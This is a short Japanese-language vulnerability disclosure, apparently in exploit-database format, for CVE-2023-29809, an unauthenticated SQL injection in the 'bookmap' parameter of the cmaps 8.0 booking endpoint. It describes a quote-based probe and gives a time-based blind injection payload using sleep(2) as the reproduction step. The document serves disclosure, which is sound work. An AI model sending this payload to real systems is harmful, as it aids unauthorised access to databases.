エクスプロイトタイトル: 未認証のSQLインジェクション

• Google Dork:
• 日付: 27.04.2023
• エクスプロイト作者: Lucas Noki (0xPrototype)
• ベンダーホームページ: https://github.com/vogtmh
• ソフトウェアリンク: https://github.com/vogtmh/cmaps
• バージョン: 8.0
• テスト済み環境: Mac, Windows, Linux
• CVE : CVE-2023-29809

説明:

発見された脆弱性はSQLインジェクションです。bookmap パラメータが脆弱です。ページ http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test にアクセスすると、通常のJSONレスポンスが得られます。しかし、bookmap パラメータの値に一重引用符が追加されると、エラーメッセージが表示されます:

<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />

ここで、一重引用符を2つ追加すると、エラーなしで通常のレスポンスが得られます。これによりSQLインジェクションの可能性が確認されます。SQLインジェクションを実際に証明するために、以下のペイロードを追加します:

'-(select*from(select+sleep(2)+from+dual)a)--+

ページは2秒間スリープします。これによりSQLインジェクションが確認されます。

再現手順:

1. 脆弱性をテストするために、以下のペイロードを送信します: '-(select*from(select+sleep(2)+from+dual)a)--+